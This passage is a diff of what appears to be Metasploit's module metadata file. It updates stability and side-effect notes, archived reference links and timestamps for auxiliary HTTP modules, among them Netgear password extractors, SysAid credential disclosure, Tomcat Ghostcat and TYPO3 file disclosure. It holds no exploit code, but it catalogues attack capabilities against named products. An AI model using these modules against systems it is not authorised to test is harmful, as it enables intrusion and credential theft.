"type": "auxiliary", @@ -3828,7 +3907,7 @@ "references": [ "CVE-2013-0136", "US-CERT-VU-701572", - "URL-https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/" + "URL-http://web.archive.org/web/20250114041839/https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/" ], "platform": "", "arch": "", @@ -3849,7 +3928,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb", "is_install_path": true, "ref_name": "admin/http/mutiny_frontend_read_delete", @@ -3857,6 +3936,13 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "os-resource-loss" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -3874,9 +3960,7 @@ "auxiliary_admin/http/netflow_file_download": { "name": "ManageEngine NetFlow Analyzer Arbitrary File Download", "fullname": "auxiliary/admin/http/netflow_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-30", "type": "auxiliary", @@ -3909,7 +3993,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/netflow_file_download.rb", "is_install_path": true, "ref_name": "admin/http/netflow_file_download", @@ -3917,19 +4001,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_auth_download": { "name": "NETGEAR ProSafe Network Management System 300 Authenticated File Download", "fullname": "auxiliary/admin/http/netgear_auth_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-02-04", "type": "auxiliary", @@ -3962,7 +4049,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/netgear_auth_download.rb", "is_install_path": true, "ref_name": "admin/http/netgear_auth_download", @@ -3970,19 +4057,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_pnpx_getsharefolderlist_auth_bypass": { "name": "Netgear PNPX_GetShareFolderList Authentication Bypass", "fullname": "auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-09-06", "type": "auxiliary", @@ -4038,16 +4128,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_r6700_pass_reset": { "name": "Netgear R6700v3 Unauthenticated LAN Admin Password Reset", "fullname": "auxiliary/admin/http/netgear_r6700_pass_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-15", "type": "auxiliary", @@ -4098,25 +4184,19 @@ "Stability": [ "crash-service-down" ], - "Reliability": [ - - ], + "Reliability": [], "RelatedModules": [ "exploit/linux/telnet/netgear_telnetenable" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_r7000_backup_cgi_heap_overflow_rce": { "name": "Netgear R7000 backup.cgi Heap Overflow RCE", "fullname": "auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-04-21", "type": "auxiliary", @@ -4169,16 +4249,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_soap_password_extractor": { "name": "Netgear Unauthenticated SOAP Password Extractor", "fullname": "auxiliary/admin/http/netgear_soap_password_extractor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-11", "type": "auxiliary", @@ -4212,7 +4288,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb", "is_install_path": true, "ref_name": "admin/http/netgear_soap_password_extractor", @@ -4220,19 +4296,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_wnr2000_pass_recovery": { "name": "NETGEAR WNR2000v5 Administrator Password Recovery", "fullname": "auxiliary/admin/http/netgear_wnr2000_pass_recovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-12-20", "type": "auxiliary", @@ -4266,7 +4345,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb", "is_install_path": true, "ref_name": "admin/http/netgear_wnr2000_pass_recovery", @@ -4274,19 +4353,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/nexpose_xxe_file_read": { "name": "Nexpose XXE Arbitrary File Read", "fullname": "auxiliary/admin/http/nexpose_xxe_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -4297,7 +4379,7 @@ ], "description": "Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number\n of vectors. This vulnerability can allow an attacker to a craft special XML that\n could read arbitrary files from the filesystem. This module exploits the\n vulnerability via the XML API.", "references": [ - "URL-https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/" + "URL-http://web.archive.org/web/20230402081629/https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/" ], "platform": "", "arch": "", @@ -4318,7 +4400,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb", "is_install_path": true, "ref_name": "admin/http/nexpose_xxe_file_read", @@ -4326,19 +4408,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/novell_file_reporter_filedelete": { "name": "Novell File Reporter Agent Arbitrary File Delete", "fullname": "auxiliary/admin/http/novell_file_reporter_filedelete", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -4371,7 +4456,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb", "is_install_path": true, "ref_name": "admin/http/novell_file_reporter_filedelete", @@ -4379,19 +4464,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "os-resource-loss" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/nuuo_nvrmini_reset": { "name": "NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset", "fullname": "auxiliary/admin/http/nuuo_nvrmini_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-08-04", "type": "auxiliary", @@ -4424,7 +4512,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb", "is_install_path": true, "ref_name": "admin/http/nuuo_nvrmini_reset", @@ -4432,19 +4520,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/openbravo_xxe": { "name": "Openbravo ERP XXE Arbitrary File Read", "fullname": "auxiliary/admin/http/openbravo_xxe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-30", "type": "auxiliary", @@ -4477,7 +4569,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/openbravo_xxe.rb", "is_install_path": true, "ref_name": "admin/http/openbravo_xxe", @@ -4485,26 +4577,29 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/pfadmin_set_protected_alias": { "name": "Postfixadmin Protected Alias Deletion Vulnerability", "fullname": "auxiliary/admin/http/pfadmin_set_protected_alias", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-02-03", "type": "auxiliary", "author": [ "Jan-Frederik Rieckers" ], - "description": "Postfixadmin installations between 2.91 and 3.0.1 do not check if an\n admin is allowed to delete protected aliases. This vulnerability can be\n used to redirect protected aliases to an other mail address. Eg. rewrite\n the postmaster@domain alias", + "description": "Postfixadmin installations between 2.91 and 3.0.1 do not check if an\n admin is allowed to delete protected aliases. This vulnerability can be\n used to redirect protected aliases to an other mail address. Eg. rewrite\n the postmaster@domain alias.", "references": [ "CVE-2017-5930", "URL-https://github.com/postfixadmin/postfixadmin/pull/23", @@ -4529,7 +4624,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb", "is_install_path": true, "ref_name": "admin/http/pfadmin_set_protected_alias", @@ -4537,19 +4632,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/pihole_domains_api_exec": { "name": "Pi-Hole Top Domains API Authenticated Exec", "fullname": "auxiliary/admin/http/pihole_domains_api_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-08-04", "type": "auxiliary", @@ -4592,9 +4691,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "config-changes", @@ -4603,16 +4700,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/rails_devise_pass_reset": { "name": "Ruby on Rails Devise Authentication Password Reset", "fullname": "auxiliary/admin/http/rails_devise_pass_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-28", "type": "auxiliary", @@ -4649,7 +4742,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/rails_devise_pass_reset.rb", "is_install_path": true, "ref_name": "admin/http/rails_devise_pass_reset", @@ -4657,19 +4750,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/scadabr_credential_dump": { "name": "ScadaBR Credentials Dumper", "fullname": "auxiliary/admin/http/scadabr_credential_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-05-28", "type": "auxiliary", @@ -4677,9 +4774,7 @@ "bcoles " ], "description": "This module retrieves credentials from ScadaBR, including\n service credentials and unsalted SHA1 password hashes for\n all users, by invoking the `EmportDwr.createExportData` DWR\n method of Mango M2M which is exposed to all authenticated\n users regardless of privilege level.\n\n This module has been tested successfully with ScadaBR\n versions 1.0 CE and 0.9 on Windows and Ubuntu systems.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8080, @@ -4699,7 +4794,7 @@ "https" ], "targets": null, - "mod_time": "2021-02-22 15:51:02 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/scadabr_credential_dump.rb", "is_install_path": true, "ref_name": "admin/http/scadabr_credential_dump", @@ -4707,19 +4802,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/scrutinizer_add_user": { "name": "Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass", "fullname": "auxiliary/admin/http/scrutinizer_add_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-27", "type": "auxiliary", @@ -4733,7 +4831,7 @@ "references": [ "CVE-2012-2626", "OSVDB-84318", - "URL-https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt" + "URL-http://web.archive.org/web/20130827051639/https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt" ], "platform": "", "arch": "", @@ -4754,7 +4852,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/scrutinizer_add_user.rb", "is_install_path": true, "ref_name": "admin/http/scrutinizer_add_user", @@ -4762,19 +4860,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/sophos_wpa_traversal": { "name": "Sophos Web Protection Appliance patience.cgi Directory Traversal", "fullname": "auxiliary/admin/http/sophos_wpa_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-04-03", "type": "auxiliary", @@ -4810,7 +4912,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/sophos_wpa_traversal.rb", "is_install_path": true, "ref_name": "admin/http/sophos_wpa_traversal", @@ -4818,19 +4920,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/supra_smart_cloud_tv_rfi": { "name": "Supra Smart Cloud TV Remote File Inclusion", "fullname": "auxiliary/admin/http/supra_smart_cloud_tv_rfi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-06-03", "type": "auxiliary", @@ -4862,7 +4967,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/supra_smart_cloud_tv_rfi.rb", "is_install_path": true, "ref_name": "admin/http/supra_smart_cloud_tv_rfi", @@ -4870,19 +4975,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "service-resource-loss" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/sysaid_admin_acct": { "name": "SysAid Help Desk Administrator Account Creation", "fullname": "auxiliary/admin/http/sysaid_admin_acct", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-06-03", "type": "auxiliary", @@ -4914,7 +5023,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/sysaid_admin_acct.rb", "is_install_path": true, "ref_name": "admin/http/sysaid_admin_acct", @@ -4922,19 +5031,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/sysaid_file_download": { "name": "SysAid Help Desk Arbitrary File Download", "fullname": "auxiliary/admin/http/sysaid_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-06-03", "type": "auxiliary", @@ -4967,7 +5080,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/sysaid_file_download.rb", "is_install_path": true, "ref_name": "admin/http/sysaid_file_download", @@ -4975,19 +5088,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/sysaid_sql_creds": { "name": "SysAid Help Desk Database Credentials Disclosure", "fullname": "auxiliary/admin/http/sysaid_sql_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-06-03", "type": "auxiliary", @@ -5020,7 +5136,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/sysaid_sql_creds.rb", "is_install_path": true, "ref_name": "admin/http/sysaid_sql_creds", @@ -5028,19 +5144,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/telpho10_credential_dump": { "name": "Telpho10 Backup Credentials Dumper", "fullname": "auxiliary/admin/http/telpho10_credential_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-09-02", "type": "auxiliary", @@ -5048,9 +5167,7 @@ "Jan Rude" ], "description": "This module exploits a vulnerability present in all versions of Telpho10 telephone system\n appliance. This module generates a configuration backup of Telpho10,\n downloads the file and dumps the credentials for admin login,\n phpmyadmin, phpldapadmin, etc.\n This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": 80, @@ -5070,7 +5187,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/telpho10_credential_dump.rb", "is_install_path": true, "ref_name": "admin/http/telpho10_credential_dump", @@ -5078,19 +5195,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/tomcat_administration": { "name": "Tomcat Administration Tool Default Access", "fullname": "auxiliary/admin/http/tomcat_administration", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -5120,7 +5240,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/tomcat_administration.rb", "is_install_path": true, "ref_name": "admin/http/tomcat_administration", @@ -5128,19 +5248,20 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/tomcat_ghostcat": { "name": "Apache Tomcat AJP File Read", "fullname": "auxiliary/admin/http/tomcat_ghostcat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-02-20", "type": "auxiliary", @@ -5152,19 +5273,15 @@ "references": [ "CVE-2020-1938", "EDB-48143", - "URL-https://www.chaitin.cn/en/ghostcat" + "URL-http://web.archive.org/web/20250114042903/https://www.chaitin.cn/en/ghostcat" ], "platform": "", "arch": "", "rport": 8009, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-11-17 12:58:05 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/http/tomcat_ghostcat.rb", "is_install_path": true, "ref_name": "admin/http/tomcat_ghostcat", @@ -5178,25 +5295,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/tomcat_utf8_traversal": { "name": "Tomcat UTF-8 Directory Traversal Vulnerability", "fullname": "auxiliary/admin/http/tomcat_utf8_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-09", "type": "auxiliary", @@ -5230,7 +5339,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb", "is_install_path": true, "ref_name": "admin/http/tomcat_utf8_traversal", @@ -5238,19 +5347,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/trendmicro_dlp_traversal": { "name": "TrendMicro Data Loss Prevention 5.5 Directory Traversal", "fullname": "auxiliary/admin/http/trendmicro_dlp_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-09", "type": "auxiliary", @@ -5286,7 +5398,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb", "is_install_path": true, "ref_name": "admin/http/trendmicro_dlp_traversal", @@ -5294,19 +5406,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/typo3_news_module_sqli": { "name": "TYPO3 News Module SQL Injection", "fullname": "auxiliary/admin/http/typo3_news_module_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-04-06", "type": "auxiliary", @@ -5338,7 +5453,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/typo3_news_module_sqli.rb", "is_install_path": true, "ref_name": "admin/http/typo3_news_module_sqli", @@ -5346,19 +5461,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/typo3_sa_2009_001": { "name": "TYPO3 sa-2009-001 Weak Encryption Key File Disclosure", "fullname": "auxiliary/admin/http/typo3_sa_2009_001", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-20", "type": "auxiliary", @@ -5391,7 +5509,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/typo3_sa_2009_001.rb", "is_install_path": true, "ref_name": "admin/http/typo3_sa_2009_001", @@ -5399,19 +5517,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/typo3_sa_2009_002": { "name": "Typo3 sa-2009-002 File Disclosure", "fullname": "auxiliary/admin/http/typo3_sa_2009_002", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-10", "type": "auxiliary", @@ -5445,7 +5566,7 @@ "https" ], "targets": null, - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/typo3_sa_2009_002.rb", "is_install_path": true, "ref_name": "admin/http/typo3_sa_2009_002", @@ -5453,6 +5574,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -5466,9 +5594,7 @@ "auxiliary_admin/http/typo3_sa_2010_020": { "name": "TYPO3 sa-2010-020 Remote File Disclosure", "fullname": "auxiliary/admin/http/typo3_sa_2010_020", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -5480,7 +5606,7 @@ "references": [ "CVE-2010-3714", "URL-http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020", - "URL-http://gregorkopf.de/slides_berlinsides_2010.pdf" + "URL-http://web.archive.org/web/20180126053019/http://gregorkopf.de/slides_berlinsides_2010.pdf" ], "platform": "", "arch": "", @@ -5501,7 +5627,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/typo3_sa_2010_020.rb", "is_install_path": true, "ref_name": "admin/http/typo3_sa_2010_020", @@ -5509,19 +5635,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/typo3_winstaller_default_enc_keys": { "name": "TYPO3 Winstaller Default Encryption Keys", "fullname": "auxiliary/admin/http/typo3_winstaller_default_enc_keys", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -5551,7 +5680,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb", "is_install_path": true, "ref_name": "admin/http/typo3_winstaller_default_enc_keys", @@ -5559,6 +5688,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -5580,9 +5716,7 @@ "auxiliary_admin/http/ulterius_file_download": { "name": "Ulterius Server File Download Vulnerability", "fullname": "auxiliary/admin/http/ulterius_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -5614,7 +5748,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/ulterius_file_download.rb", "is_install_path": true, "ref_name": "admin/http/ulterius_file_download", @@ -5622,19 +5756,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/vbulletin_upgrade_admin": { "name": "vBulletin Administrator Account Creation", "fullname": "auxiliary/admin/http/vbulletin_upgrade_admin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-09", "type": "auxiliary", @@ -5668,7 +5805,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb", "is_install_path": true, "ref_name": "admin/http/vbulletin_upgrade_admin", @@ -5676,19 +5813,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/webnms_cred_disclosure": { "name": "WebNMS Framework Server Credential Disclosure", "fullname": "auxiliary/admin/http/webnms_cred_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-07-04", "type": "auxiliary", @@ -5721,7 +5862,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": 